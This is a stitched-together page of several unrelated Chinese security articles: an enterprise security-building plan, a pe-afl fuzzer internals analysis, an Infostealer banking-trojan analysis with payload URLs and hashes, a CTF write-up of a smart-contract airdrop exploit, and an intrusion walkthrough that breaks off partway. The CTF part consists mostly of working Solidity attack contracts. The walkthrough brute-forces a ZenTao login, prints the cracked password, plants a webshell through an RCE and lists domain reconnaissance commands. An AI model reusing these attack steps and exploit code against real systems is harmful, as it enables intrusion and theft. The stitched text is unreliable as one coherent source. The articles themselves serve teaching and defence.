为什么会有此篇文章，早期的攻击，从弱口令，SQL注入，上传漏洞，演变到现在的反序列化，供应链，公私云，区块链等攻击方式，早期的防御方式从防火墙，防病毒，入侵检测，演变到现在的威胁情报，态势感知，各类风控系统，智能分析，我们的防御手段也随着攻击方式逐渐更新换代，笔者站在自己仅有的知识体系框架下说出自己的企业安全建设蓝图，我们的安全防线不能只是单独的一层，比如我们在网络层与传输层不能仅仅依靠防火墙，内网只部署一个IDS设备，是不行的，我们可以根据企业自身的发展和业务，视情况在网络层，系统层，应用层，数据层，业务层，分别部署我们的安全防线。当然，我们也不能只防守，还得布置点蜜罐，告诉蓝军们，得考虑点打。对于一套成体系的安全防线，我们应当做到如下3点，对于一直的攻击手段能够做到事前预防，对于二次三次利用的攻击手段能够事中拦截，对于未知的0day攻击手段，尽可能做到事后告警，分析朔源。阿鑫将会从安全部门的目标，人员，运营这3个方向总结
# 目标
我们安全工程师的最终目标是保护我们的网络，系统，应用，终端，数据，业务的安全。
网络：WEB安全，网络准入，入侵防范，应急响应，网络设备安全（WAF/IDS/IPS，服务器，蜜罐等设备）
网络安全需要防范网络上的各种攻击，比如弱口令，SQL注入，XSS漏洞等漏洞，我们的蜜柑，WAF设备是否布置好了，是否全部覆盖，签名库是否及时更新，IPS的流量是否全覆盖，网络准入，怎样认证进入企业办公网，企业某些bu的流量都是可以通过生产网，办公网，服务器被攻陷后我们能否及时检测止损？应急响应，朔源，取证等团队怎么样，这些都是值得我们考虑的，当然，我们也应该注意物理安全，把我们的服务器放在干燥的地方，比如阿里的张北服务器。
系统：系统权限，系统日志审计，OA\邮件系统
系统安全我们可以分为Windows和Linux，两者特有的就是一定要把目录权限设置好，启用的第三方服务非必要不要高权限启用，windows的话平时出的cve补丁及时加固，Linux的主机尽量放docker。平时没有必要的服务也可以关闭掉，比如windows的rmsvc,ssdpsrv，linux的postfix,smb等服务，不同点和需要注意的地方，Windows一般是有域的，蓝军们在内网常见的横向手法就是找密码，或者是靠各类exp，比如ms17010,最近的打印机，还有就是打点内网web服务，Windows也有各类安全策略，自身是带杀毒软件的(WD),平时各类共享没必要的都还是关掉，liunx的话需要注意的就是对各类系统文件的权限一定要设置好。至于我们的邮件系统，现在的安全形势也把我们的邮件系统送上了风口浪尖，不管是各类护网，APT，勒索都开始把突破点对准了邮箱，关于邮件的问题，无非就是接受与发出这2个点，我们可以以入站和出战这2点作为问题的突破口。入站是最主要的，问题可以归纳为垃圾邮件，恶意钓鱼邮件，员工邮箱/密码泄露。出战的问题可以归纳为泄露数据。
应用：资产识别，身份鉴定，应用控制，应用日志审计，风控中台，SDL安全审计，IOT设备
应用安全我们可以先大致分为互联网应用与移动端应用安全，对于互联网应用来说，不同bu的人员平时工作访问的应用平台是不一样的，不同bu的账号是否可以进入相同的应用，我们的风控中台是否运行正常，日志运营是否正常，产品出的新应用是否没有安全问题。办公应用的基础设施怎么样，平时交流沟通怎么解决，我们的IOT设备移动，摄像头，门禁等设备安全的运维与管理，移动应用来说，可以分为组件，业务，数据，代码等四个安全方向，组件可关注broadcastreceiver组件，webview组件，service组件，provider组件。业务安全着重点在于是否存在同名APP的钓鱼软件，我们APP的内容安全，以及是否存在有机器人的流量安全。数据安全在于数据存储，防泄漏，数据传输，手机有恶意的APP，窃取数据，能防止恶意APP截屏等操作吗？最后是我们的代码安全，app是否加壳，是否有签名验证，反编译能否查出代码等。
终端：灰色软件治理，规定设备办公，网络隔离，edr覆盖
终端是大型企业员工接触最多，所以这方面的防护是重中之重，员工电脑终端允许从哪里下载软件，下载什么软件，下载了灰色软件怎么处理，是否能自由插U盘，硬盘，连接公用蓝牙与wifi，不同bu统一用windows还是MAC，必须满足什么条件才能让终端安全设备接入内网，接入内网是怎么认证，终端设备是否全然覆盖了我们企业的EDR，是否允许自己的终端设备办公？自己的移动端设备与终端设备有什么联系？终端机器的补丁和软件升级的处理，终端设备被恶意文件攻击或者被勒索应该怎么处置，这些都是我们不可回避的问题。
数据：数据泄露，数据传输，数据访问安全，数据备份&&恢复，数据权限
数据安全可以说是我们企业安全防守建设的核心了，不管是入侵还是勒索，本质还是要我们的数据，数据包括企业终端数据安全，企业网络数据安全，企业存储数据安全等3个大方向，其实笔者在文中罗列了一些体系框架和无关要紧的建议，但是这些都会随着时代的前行不断更迭淘汰，唯一不变的还是规划体系的人和执行体系的人。首先说一说我们的终端数据安全，平时我们企业的在职员工和数据打交道最多的就是我们的终端电脑设备了，一些比较敏感bu的员工他们的电脑磁盘是会被加密的，亦或者是文件，视频被加密，有些视频需要对应电脑的mac才能绑定播放，还有就是权限控制类方案，就是更细致的监控，比如我们对文件的阅读，粘贴复制编辑打印等细致常规操作，二次授权，当然还有我们的终端DLP系统，就是我们的数据防泄漏系统，该系统会通过3中泄露途径，使用泄露，存储泄露，传输泄露结合敏感文件识别，外发文件阻断，外设端口管控等方案技巧管控我们的敏感文件，当然还有桌面虚拟化，言外之意就是把所有的数据，统一存放在我们的虚拟桌面，所有数据不会落地在我们的终端，那问题就在于我们虚拟设备的认证性与安全性上面了，能否防截屏，怎么认证的。还有就是我们企业内部数据的水印，对吧，哪位员工泄露了，根据水印去朔源，水印也分很多种，明文水印，隐藏水印，字库水印，矢量水印。接下来就是我们的企业网络数据安全，我们的网络端的DLP，分析流量是否有敏感文件传输，上网的流量，邮件网关的流量。然后是存储数据安全，就是我们自己的各类数据库，运维的员工SQL语句用的怎么样，别动不动就drop，自身存储数据的销毁与备份，大数据的存储与大数据平台的安全。
业务：业务逻辑，恶意流量，内容风控，接口安全
业务安全也是有很多可以去聊的，网约车乘客受伤，这个也是在企业业务安全的范畴，网购既然能买98K，也是业务安全的范畴，我们的业务安全，可以从恶意流量，账号安全，钓鱼风控等三个方向细细说来，说先说说恶意流量，第一个就是反爬虫，各类机器人，比如我们双11，有很多优惠券，但是我们的顾客抢不到，全被机器人抢了，那优惠了寂寞，还有各类薅羊毛，黄牛刷单都是我们需要注意的。还有就是老生常谈的ddos攻击了，第二点就是我们的账号安全，比如我们的手机号，既能登微信，又能登支付宝，又能看抖音和贴吧，属实是BAT都玩完了。第一就是登录账号的验证，是否有验证码，二次验证，多次错误锁定账户，是否可以随随便便注册辣鸡账户，在用辣鸡用户去测试各类逻辑漏洞，越权，fuzzing一些敏感的api，这些都是我们需要注意的.最后就是我们的钓鱼风控了，当我们顾客在xx上网购，突然有骗子说你的xx网购积分可以换东西，需要登录账号密码。如果顾客被骗，对企业自身的负面印象也是很大的，我们也需要投入大量精力打击恶意钓鱼的相关app，怎么去寻找呢，一般都是相似域名或者谐音，比如阿里巴巴集团，注册了阿里爷爷，阿里弟弟，阿里一家人属实是整齐了,可以根据相似域名去寻找真正疑似钓鱼的网站。
# 人员
1.外部SRC，白帽子
作用：吸引外部安全力量规范地参与进来
2.安全解决方案团队（企业红军）
作用：
（1）日常SRC安全运营，内部安全运营，数据安全，安全分享，安全培训
（2）安全加固，应急响应朔源，恶意样本分析，企业内部红蓝对抗演练
（3）企业集团内部安全规则建设
3.安全工程师(业务蓝军)
作用：
（1）企业集团的业务SDL审计，符合企业自身业务的漏洞扫描器
（2）web安全，app安全，企业内部红蓝对抗演练
（3）安全研究，漏洞挖掘，漏洞分析
4.威胁情报（事态感知）
（1）安全情报，机读情报，勒索情报，画像情报，漏洞情报等情报的收集分析，数据分析
（2）自身威胁情报平台的日常运营告警
（3）对威胁企业自身的黑灰产，羊毛党，欺诈等团伙建立风险大盘，全链路监控
5.安全产品研发工程师
（1）WAF，EDR，防病毒，蜜罐等产品的研发
（2）符合企业自身，效率更高的安全工具的开发
企业从0到1，建设一个成体系的安全框架是异常困难的，企业内部的安全部门，安全工程师可大致分配在运维开发，安全防护，安全运营，安全研究，威胁情报&&事态感知这5个大方向。成熟的安全防线=技术手段+有效的安全运营
运维开发：安全制度，安全架构，内控系统，在职员工的安全意识培训，宣传,开发安全
安全防护：网络层，系统层，应用层，数据层，业务层的安全防线规则的覆盖，设备加固，打补丁
安全运营：安全事件的闭环，解决方案的提供，恶意攻击的捕获分析，内部红蓝对抗，SRC
安全研究：勒索病毒&&木马样本分析，漏洞挖掘，新生代攻击技术
威胁情报&&事态感知：APT事件&&供应链攻击事件，竞对的研究方向，安全前沿信息
# 运营
1.员工安全意识培训
如果自己企业员工内部安全意识淡薄，不管我们自己的安全防线是多么的固若金汤，在外部的攻击者看来，都是脆弱的，应该从哪些地方着手培训呢
（1）第一点就是老生常谈的钓鱼邮件了，后缀，邮件名称(升职，放假，安全更新等)，各类简历等
（2）不能因为想要sohu办公方便，安装非法的VPN或者其他网络通道
（3）将企业自身的文件或者工作中的代码随意上传到公网上，密码运维等文件不要放在桌面
（4）内部员工锁抽屉，锁屏，安保的防止可疑人员进入公司，防止近源渗透，pc/企业密码不应该用强弱口令，账号共享
2.安全运维框架
在平台基础设施和安全工程师都已经具备的时候，运营团队的周报，月报，年报，红蓝对抗的内部例会等汇报管理，防病毒软件的覆盖率，入侵检测的准确率，误报率，安全事件的响应时长，高危漏洞排查，加固所需的时间，安全事件发生时自动化推送，安全事件的闭环，运营框架体系能在企业推广到什么深度，还有哪些没有体系的灰色地带，这些都是我们值得思考的，安全前沿情报，新型技术的研究等手段的扩充，我们在各个安全团队竞争力怎么样，比我更厉害的安全运营团队他们此刻在研究什么？
3.需要什么的安全运营？
安全运营最本质的目的还是希望一年下来企业平平安安，如果能防住几波攻击那当然是皆大欢喜，但是实际情况是安全团队一年里难免会与各种业务的老板有些小摩擦，安全团队也不敢打包票用我这套体系绝对安全，不可能有风险，只能不断的完善，最难的还是坚持下来，就如同阵地战一样，我们不知道蓝军和入侵者们什么时候来，每天都是挖战壕，插枪上膛，日复一日的干着同样的事情，优秀的运营人员坚持把每个告警更到底，坚持每天把每件事情做好，这才是最难的
# 后记
阿鑫根据自己的攻防经验对于安全建设提出了一些不太成熟的设想，衷心希望各位安全大佬提出富有指导性的意见，阿鑫将不胜感激，各位看官如果想快速看完，我已经本文的内容压缩至xmind，已上传至我的github，<https://github.com/xinxin999/My-Summarizing> | 社区文章 |
# pe-afl漏洞挖掘技术原理分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
19年的时候写过好多fuzzer原理分析和实践的文章，很长一段时间没搞，前一阵子挖洞的重心才又开始转向fuzz。研究pe-afl的时候写了一点笔记，发出来和大家交流交流。
pe-afl是通过静态插桩实现针对Windows闭源程序的覆盖引导的fuzzer，由Lucas Leong在BlueHat IL 2019上发布。
代码：<https://github.com/wmliang/pe-afl>
PPT：<https://www.slideshare.net/wmliang/make-static-instrumentation-great-again-high-performance-fuzzing-for-windows-system>
Video：<https://www.youtube.com/watch?v=OipNF8v2His>
使用方法还是比较清晰明了的。比如说想要fuzz
msjet40.dll，使用方法是首先在IDA中打开msjet40.dll，运行ida_dumper.py得到msjet40.dll.dump.txt，再运行python
pe-afl.py -m msjet40.dll
msjet40.dll.dump.txt得到插桩后的msjet40.instrumented.dll，用它替换掉原来的msjet40.dll，然后就可以用修改后的AFL.exe
fuzz了。
作者最新发布的是一个支持IDA 7.2的版本。目前不支持fuzz
64位程序，并且因为插桩是针对VS编译的二进制文件做的，所以如果目标二进制文件是用其他方式编译的可能会失败。
我们先看看ida_dumper.py。这里用的ida_dumper.py来自<https://github.com/assafcarlsbad/pe-afl/blob/master/ida_dumper.py>，以便能够兼容IDA 7.4的API。当然你也可以改一下IDA的配置文件让它兼容之前的API。
调用ida_dumper.py得到的xxx.dumper.txt中有以下数据：
rip_inst列表，暂时没有用到。
idata列表，可执行的idata段。
bb列表，识别基本块basic block的方法是将条件跳转的下一条指令地址和跳转的目的地址加入bb列表，最后去重排序。
relative字典，key是条件跳转指令的地址，value是跳转的目的地址，操作码，操作数长度，操作码和操作数总长度。例如对于0x40E00B处的这条指令，key是0x40E00B，value是0x40DFE0,0x74(JZ),1,2。
stk_frame字典，查找`mov edi,edi`，`push ebp`，`mov ebp,esp`，`sub
esp,XXXh`这样的代码，key是代码的地址，value是最后一条sub
esp,XXXh指令的长度和XXX的值。例如对于下面这样的代码，key就是0x40C973，valve就是3和0x20。
code_loc字典，因为通常会出现代码和数据混合的情况，所以需要标记代码的位置，key是指令的开始，valve是指令的结束。例如对于下面这样的代码，key就是0x4028FC，valve就是0x402913。
接下来看看pe-afl.py。主要是调用了instrument.py中的inject_code注入代码。对于每一个bb列表中的地址，注入的代码如下所示：
来看看instrument.py，分析一下具体是怎么实现的。首先是一些初始化的工作，移除DOS_STUB，移除数字签名，为text段新建一个raw属性，存放其中的数据。
接下来看到process_pe函数，首先是新建.cov段和.tex2段。
创建的新段是放在.reloc段之前的。创建的时候是直接创建在最后，全部创建完了再修改.reloc段的属性。
用cff explorer看看原始文件的段和插桩之后的段。
我们可以看到在代码中给text段设置了三个属性，addr_set，addr_map和sec_diff。sec_diff是tex2段和text段虚拟地址之间偏移，addr_set是需要插入代码在文件中的位置的列表，addr_map是一个集合，key就是addr_set中的成员，valve的两个值加起来是i+diff+tlen，也就是插入代码之后在文件中的位置。
接下来需要将short jmp扩展成long jmp，因为我们插入了代码之后地址偏移增加很有可能就会出现short jmp用不了的情况。
首先是得到一个jmp_map字典，对于一条短跳转指令，将指令所在地址作为valve，指令所在地址和跳转目的地址之间的地址作为key。如果有一个key的地址需要插入指令，那么就把对应的valve加入expand_list。还要再遍历expand_list，如果其中的一个短跳转指令所在的地址正好也在另外一个短跳转指令所在地址和跳转目的地址之间，那么另外这个短跳转指令所在地址也需要加入expand_list。对于这些指令添加0x00占位。
继续之前先看一下几个相关的函数。首先是get_text_diff和get_data_diff，他们的参数分别是代码和数据在文件中的位置，这两个函数含义就是获得插桩后的位置相对于原来位置的偏移(不计算段的偏移)。
然后是get_relative_diff函数，参数是跳转指令和目标地址在文件中的位置，返回他们之间的偏移。考虑两种情况，在同一个段和不在同一个段。
在同一个段diff的计算方法是：
diff = get_text_diff(to_fa) – get_text_diff(from_fa)
即插桩后两者之间新增的偏移。
不在同一个段diff的计算方法是：
diff = (to_fa+get_text_diff(to_fa)-to_s.PointerToRawData) –
(from_fa+get_text_diff(from_fa)-from_s.PointerToRawData)
即两者插桩后的位置相对于段的偏移的差。
对于在同一个段的情况返回to_fa + diff，减去from_fa就是即插桩后两者之间新增的偏移加上原来的偏移，即插桩后两者之间的偏移。
对于不在同一个段的情况返回from_fa + diff +
sec_diff，减去from_fa就是两者插桩后的位置相对于段的偏移的差加上段的偏移，即插桩后两者之间的偏移。
听上去有点绕，特别是不在同一个段的情况，画个图应该就能明白了。
然后就可以用这个算出来的偏移更新跳转指令。
接下来调用add_to_reloc把需要重定位的地址加到新建的重定位表updated_reloc，调用update_reloc_raw更新需要重定位的地址中的数据。分两种情况，如果是text段中需要重定位的地址，因为有插桩的数据，所以新的位置要把偏移加上；如果是其它段比如rdata段中需要重定位的地址，因为没有插桩的数据，所以就不用。
更新插桩的数据中的M_PREV_LOC1，M_AREA_PTR和M_PREV_LOC2。M_PREV_LOC1和M_PREV_LOC2是新建的.cov段的末尾，M_AREA_PTR是新建的.cov段的开始。
最后就是将数据添加到append，更新导出表/CFG表/SEH表等等，然后写进新的xxx.instrumented.dll/exe。
一些剩下的改动就无需再解释了，这样效果就相当于用AFL
fuzz有源码的程序，在编译时插桩。当然不只是fuzz，我觉得对恶意代码分析这个项目也是有一些借鉴意义的，遇到一些复杂的混淆可能需要我们调整乱序的代码，删除垃圾指令等等，也可以用这里面的代码试试。因为我之前做恶意代码分析的时候也用python写过类似的代码，但是本人编程水平不怎么样，写的代码很糟糕，如果当时有pe-afl的话参考这里面的代码应该是能减少一些工作量的。至于具体fuzz效果怎么样我也还没来得及研究，有接触过的同学可以多多交流交流。 | 社区文章 |
# 新型Infostealer木马使用Fiddler代理和Json.NET
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://www.zscaler.com/blogs/research/new-infostealer-trojan-uses-fiddler-proxy-jsonnet>
译文仅供参考，具体内容表达以及含义原文为准。
简介
Zscaler
ThreatLabZ安全实验室找到了一个用.NET写的新型Infostealer木马,该Infostealer木马病毒利用一些流行的工具比如Fiddler
和 Json.NET来运行 。4月时,这种来自西班牙的Infostealer首次被发现用于攻击美国和墨西哥的用户。
该恶意软件的制作者的目标是墨西哥第二大银行Banamex的用户,但是它其实能够更新配置文件从而威胁到更多的金融机构。
发送机制及安装过程
感染过程开始于一个安装程序,这个安装程序使用双扩展名curp.pdf.exe”,目的是伪装成PDF文档在受害者的机器上安装恶意程序。该恶意软件没有嵌入在其中的PDF文件的图标,因此用户看到的是一个通用的应用程序图标,该文件图标如下图所示:
在过去的两周中,我们已经发现的安装程序负载的URL如下:
“cigm[.]co/js/slick/curp.pdf.exe
saysa[.]com.co/js/rfc.pdf.exe
saysa[.]com.co/js/curp.pdf.exe
bestdentalimplants[.]co.in/js/curp.pdf.exe
denticenter[.]com.co/js/slick/curp.pdf.exe
“
一旦被执行,这些安装程序就会在受害者的机器上执行以下三个部分:
* syswow.exe—— 这是一个窃取银行凭证的主要 Infostealer的有效负载;
* FiddlerCore3dot5.dll ——.NET应用程序的Fiddler代理引擎 ,这是恶意软件制作者在主要Infostealer功能中需要的相关.NET类库文件;
* Newtonsoft.Json.dll ——.NET应用程序的开源JSON框架 。这是恶意软件制作者用来从句法上分析指令与控制(C&C)服务器响应数据,并将其转换成XML格式的有关.NET类库文件。
上述文件下载到Windows系统目录中的代码如下图所示:
Infostealer安装程序下载组件
然后,安装程序将执行 Infostealer主程序,并自行终止。
Infostealer程序分析
首先,该Infostealer程序在受害者的机器上检查FiddlerCore3dot5.dll和Newtonsoft.Json.dll是否存在。如果没有找到这些DLL文件,那么该恶意软件将试图从一个新的位置下载这些硬编码在程序中的文件。一旦确认了这些DLL文件,恶意软件将检查受害者的操作系统版本,如下图所示:
Infostealer检查操作系统版本
对于Windows XP(32位和64位)和Windows Server
2003系统,恶意软件将创建一个能够自启动的注册表密码项,以确保能够在系统中持久地重新启动
。然后,恶意软件会下载一个配置文件,并启动Fiddler代理引擎。
对于其他版本的Windows系统,恶意软件不会创建一个自启动注册表项。然而,为了使Fiddler代理引擎正常工作,恶意软件将在开始启动代理引擎之前先安装一个Fiddler生成的root凭证。
C&C配置文件
在成功安装后,该Infostealer木马将收集例如“MachineName”, “UserName”, “systeminfo” 和
“hostip””这样的信息,并将其以Base64编码格式发送到远程C&C服务器,如下图所示:
Infostealer发送信息
C&C服务器会响应Infostealer所发送的消息,响应内容是一个配置文件,其中包含指向替换C&C位置以及其他指令的URL列表
。该恶意软件使用Json.NET库来解析服务器响应,并将其以XML的格式保存,文件名为registro.xml 。下面是我们的分析中得到的一个示例配置文件:
Infostealer XML配置文件
该配置文件还包含域到IP元组的一个列表,这主要用于Infostealer木马劫持用户到那些域的请求,并将其重定向到托管目标域的假冒钓鱼网站的恶意服务器上。
该恶意软件初始化了一个计时器组件,该组件每隔10分钟将触发一个RefreshInfo函数调用
。这将导致每隔10分钟就从列表中的下一个URL下载一个新的配置文件。
Fiddler拦截HTTP和HTTPS流量
有趣的是, 该恶意软件利用Fiddler代理引擎拦截了HTTP / HTTPS连接,并将用户重定向到攻击者所控制的托管虚假网站的服务器上。
如果域名是C&C的配置文件中的目标名单上的,该恶意软件就添加包含攻击者服务器IP地址的X-overrideHost flag,从而实现了他们的目的
。这将导致Fiddler代理引擎解析所提供的IP地址的域名并将受害者引到一个虚假的网站。
被感染的系统中得到的虚假Banamex截图如下图所示:
虚假Banamex银行网址托管在攻击者所控制的服务器上
结论
我们经常看到多个基于.NET的恶意软件程序,但这个特殊的Infostealer木马引起了我们的特别关注,因为这个木马中使用了诸如Fiddler还有Json.NET等流行的应用程序库。
墨西哥第二大银行Banamex,似乎是这个Infostealer木马的凭据盗窃和金融诈骗的主要对象。然而,创造这个木马的人可以很轻松地每隔10分钟就向不停更新的列表中添加更多的目标。
Zscaler的ThreatLabZ实验室已经确认了初始下载和Infostealer程序,确保向使用Zscaler的互联网安全平台的组织提供保护。
IOCs
Infostealer安装程序MD5SUM:
123f4c1d2d3d691c2427aca42289fe85
070ab6aa63e658ff8a56ea05426a71b4
ac6027d316070dc6d2fd3b273162f2ee
98bbc1917613c4a73b1fe35e3ba9a8d9
070ab6aa63e658ff8a56ea05426a71b4
06f3da0adf8a18679d51c6adaa100bd4
123f4c1d2d3d691c2427aca42289fe85
8c9896440fb0c8f2d36aff0382c9c2e4
作者:Deepen Desai, Avinash Kumar | 社区文章 |
### **前言**
近年来，各个大型CTF（Capture The
Flag，中文一般译作夺旗赛，在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式）比赛中都有了区块链攻防的身影，而且出现的题目绝大多数都是区块链智能合约攻防。此系列文章我们主要以智能合约攻防为中心，来剖析智能合约攻防的要点，前两篇我们分享了合约反编译，反汇编的基础内容。后续的文章中，我们会继续分享CTF比赛中智能合约常见题型（重入，整数溢出，空投，随机数可控等）及解题思路，相信会给读者带来不一样的收获。
上篇文章中我们分享了CTF比赛中常考的整数溢出漏洞题型，其中用到了变量覆盖等多种攻击技巧，需要读者仔细推敲。本篇文章我们继续分享CTF比赛中的空投题型，也就是薅羊毛。在系列文章整数溢出题型中，也用到了空投，但只是调用一次空投达到触发其他漏洞的判断条件，并没有进行批量获取空投。
本篇我们以2020年NSSC
CTF上skybank题目为例，分享智能合约薅羊毛的题型，该题型也是多次出现在CTF的赛场。相对于之前的系列文章内容，本篇薅羊毛题型更容易理解。
题目地址：<https://ropsten.etherscan.io/address/0xe6bebc078bf01c06d80b39e0bb654f70c7b0c273#code>
### **题目分析**
##### 题目提示
* 原始合约的opcode需进行反编译；
* 空投及最终判断函数分别为gether()和ObtainFlag()；
* 触发ObtainFlag()函数事件event则攻击成功；
* 需给合约提供资金。
##### 合约源码
查看合约题目，合约存在0.62ether，没有给出合约源码，如下图：
由于拿到题目后只有合约的opcode，所以需要进行逆向，这里我们推荐Online Solidity
Decompiler在线网站（[https://ethervm.io/decompile），具体逆向时的源码还原我们不再赘述，需要学习的同学可移步系列文章[反编译篇](http://mp.weixin.qq.com/s?__biz=MzU1OTc2MzE2Mg==&mid=2247485572&idx=1&sn=d3a985c38b531785127f9eb7920debab&chksm=fc131331cb649a274188e80f22b1ba5f81dbb5bc0a444ade4322c5c1fb96ebc469902b015c7f&scene=21#wechat_redirect)，[反汇编篇](http://mp.weixin.qq.com/s?__biz=MzU1OTc2MzE2Mg==&mid=2247485578&idx=1&sn=6200ec07f9098d4e705f8740d0c5406d&chksm=fc13133fcb649a291181f993bbebbb5e45c28908a1a1462b0ca27c0f0f197a96865cb1034f66&scene=21#wechat_redirect)。](https://ethervm.io/decompile），具体逆向时的源码还原我们不再赘述，需要学习的同学可移步系列文章\[反编译篇\]\(http://mp.weixin.qq.com/s?__biz=MzU1OTc2MzE2Mg==&mid=2247485572&idx=1&sn=d3a985c38b531785127f9eb7920debab&chksm=fc131331cb649a274188e80f22b1ba5f81dbb5bc0a444ade4322c5c1fb96ebc469902b015c7f&scene=21#wechat_redirect\)，\[反汇编篇\]\(http://mp.weixin.qq.com/s?__biz=MzU1OTc2MzE2Mg==&mid=2247485578&idx=1&sn=6200ec07f9098d4e705f8740d0c5406d&chksm=fc13133fcb649a291181f993bbebbb5e45c28908a1a1462b0ca27c0f0f197a96865cb1034f66&scene=21#wechat_redirect\)。)
以下为逆向后的合约代码：
pragma solidity ^0.4.24;
contract skybank{
mapping(address => uint) public balances;
event sendflag(string base64email,string md5namectf);
bytes20 addr = bytes20(msg.sender);
function ObtainFlag(string base64email,string md5namectf){
require(balances[msg.sender] >= 1000000000);
emit sendflag(base64email,md5namectf);
}
function gether() public {
require(balances[msg.sender] == 0);
balances[msg.sender] += 10000000;
}
function Transfer(address to, uint bur) public {
require(bur == balances[msg.sender]);
balances[to] += bur;
balances[msg.sender] -= bur;
}
}
##### 合约分析
先来看题目最终的判断函数ObtainFlag()：
function ObtainFlag(string base64email,string md5namectf){
require(balances[msg.sender] >= 1000000000);
emit sendflag(base64email,md5namectf);
}
从该函数可以看出，obtainFlag()函数传入两个参数（base64email，md5namectf），函数第一行代码require(balances[msg.sender]
>= 1000000000);会判断调用者地址余额是否大于等于1000000000 wei，如果满足该条件，则执行emit
sendflag(base64email,md5namectf);代码，从题目可以得出，只要参赛者触发sendflag事件并将参数输出表示获取flag成功。
由于参赛者初始调用题目合约skybank时，调用地址在所属合约的资金为0，所以需要通过合约逻辑获取资金，继续来看获取空投函数gether()：
function gether() public {
require(balances[msg.sender] == 0);
balances[msg.sender] += 10000000;
}
gether()函数中，第一句代码require(balances[msg.sender] ==
0);判断当前调用者的地址是否为0，如果满足条件，则给该调用者加10000000
wei的资金，我们最终触发sendflag事件的ObtainFlag()函数中，需要1000000000
wei，所以只要调用gether超过100次就可以触发sendflag事件。
继续分析合约的转账函数Transfer()：
function Transfer(address to, uint bur) public {
require(bur == balances[msg.sender]);
balances[to] += bur;
balances[msg.sender] -= bur;
}
Transfer()函数中，首先第一行代码require(bur ==
balances[msg.sender]);判断传入的参数bur和目前调用者地址的余额是否相等，如果条件满足，将该余额转至传入的地址to中，之后将调用者地址的余额减掉。这里非常重要的一点是：转账之后的调用者地址余额再次变为0，也就是说我们可以重复该函数进行转账。
### 解题思路
通过以上skybank题目合约分析，可以总结出两种解题思路：
第一种：
* 通过A地址调用gether()函数获取空投
* 调用Transfer()函数将A地址余额转至B地址
* 重新使用A地址调用gether()函数获取空投，并将余额转至B地址（不断循环）
* 使用B地址调用ObtainFlag()并触发事件
第二种：
* 使用多个地址调用gether()获取空投
* 将获取空投汇聚至固定地址
* 通过该固定地址调用ObtainFlag()并触发事件
### 攻击演示
我们进行第一种解题思路的攻击演示，使用Remix+MetaMask对攻击合约进行部署调用
#### 1\. 自毁给题目合约转币
由于题目合约的初始状态没有ether，故我们通过自毁函数，强行将ether转入题目合约地址，虽然当前题目合约有一定资金。为了攻击完整性，也演示一次自毁。
构造自毁合约：
pragma solidity ^0.4.24;
contract burn {
function kill() public payable {
selfdestruct(address(0xe6bebc078bf01c06d80b39e0bb654f70c7b0c273));
}
}
部署burn合约，并利用kill()函数带入0.02Ether进行自毁，将Ether发送到题目合约地址。
#### **2\. 使用A地址部署最终调用者合约attacker2（合约地址D）**
调用代码
pragma solidity ^0.4.24;
interface skybankInterface {
function ObtainFlag(string base64email, string md5namectf);
}
contract attacker2 {
skybankInterface constant private target = skybankInterface(0xE6BEBc078Bf01C06D80b39E0bb654F70C7B0C273);
function exploit() {
target.ObtainFlag("zxc", "000");
}
}
部署成功
#### 3.使用B地址部署获取空投的合约attacker（合约地址E）
调用代码：Transfer传入的地址参数为D地址
pragma solidity ^0.4.24;
interface skybankInterface {
function gether() external;
function Transfer(address to, uint256 env) external;
}
contract attacker {
skybankInterface constant private target = skybankInterface(0xe6bebc078bf01c06d80b39e0bb654f70c7b0c273);
function exploit(uint256 len) public payable {
for(uint256 i=0; i<len; i++){
target.gether();
target.Transfer(0xB8EBd7aaD718F65e61c0fC8359Dc5f9B5b85b067,10000000);
}
}
}
部署成功
调用exploit()函数并传入参数101，获取101次空投
获取空投成功
#### 4.使用A地址调用D合约的exploit()函数
通过获取到的ether调用exploit()函数触发题目合约的sendflag事件
成功触发事件
至此，攻击完成
### 总结
本篇文章中，我们通过2020NSSC比赛中的skybank智能合约题目，详细分析了合约存在的薅羊毛漏洞问题，提供了解题思路并进行了攻击演示，相对于系列文章前几篇，本篇比较简单易懂，有兴趣的同学可以尝试复现。下一篇我们会继续分享CTF智能合约经典题目，请大家持续关注。 | 社区文章 |
# 一步步成为你的全网管理员（上）
##### 译文声明
本文是翻译文章，文章原作者 酒仙桥6号部队，文章来源：酒仙桥6号部队
原文地址：[https://mp.weixin.qq.com/s?src=11×tamp=1606298097&ver=2728&signature=gM4GYLaoxSaqpqrV7s5rDq34kJOCv1Y53TLSwuzT-tbEJpbA9tI9kdwnru7QVbObV1pNlAe841sBV8UFuNpXNikqWoWWDu3-wgsRGsoK0MUlYlfQEQLQYi2FrPO2REHK&new=1](https://mp.weixin.qq.com/s?src=11×tamp=1606298097&ver=2728&signature=gM4GYLaoxSaqpqrV7s5rDq34kJOCv1Y53TLSwuzT-tbEJpbA9tI9kdwnru7QVbObV1pNlAe841sBV8UFuNpXNikqWoWWDu3-wgsRGsoK0MUlYlfQEQLQYi2FrPO2REHK&new=1)
译文仅供参考，具体内容表达以及含义原文为准。
## 打开入口
首先对目标进行资产收集，发现目标对外只开放了一个WEB服务，经过查看，发现运行的是禅道。
既然没有其他的选择，那就从这里入手，首先查看当前版本，发现是11.6。
http://xxxxx/zentao/index.php?mode=getconfig
经过搜索发现此版本存在多个漏洞，但是受限于需要先进行登录，于是使用常用用户名对登录接口进行弱口令爆破，成功发现一个可登录账号：lihua/qwe!@#456。
使用爆破出的账号登录进入系统。
检查漏洞是否被修复，发现RCE漏洞未修复。
接下来自然就是愉快的写马Getshell，由于路径问题，需要覆盖www目录下的原有php文件才可以被解析，这里选择覆盖x.php文件。成功写入一句话木马，并用蚁剑成功连接，获取到目标服务器权限。
打开终端查看权限发现是system权限，那就可以省了提权。
## 内网渗透
俗话说，细节决定成败，接下来就开始进行信息收集了。收集信息的全面情况可以决定你能在内网里多自由。
探测主机信息（只列举部分命令）：
信息收集时可以重点关注下访问日志，网络连接、路由表等信息，可以通过这些信息发现未知的内部网络。查看网络情况：
# 查看IPipconfig /all
# 查看arp表arp -a
# 查看主机路由情况route print
# 查看网络连接情况netstat -ano
# 通过路由跟踪发现未知网段tracert xxxxxxxx
# 获得所有域用户组列表net group /domain
# 获得域管理员列表net group "domain admins" /domain
# 获得域控制器列表net group "domain controllers" /domain
# 获得所有域成员计算机列表net group "domain computers" /domain
# 获得所有域用户列表net user /domain
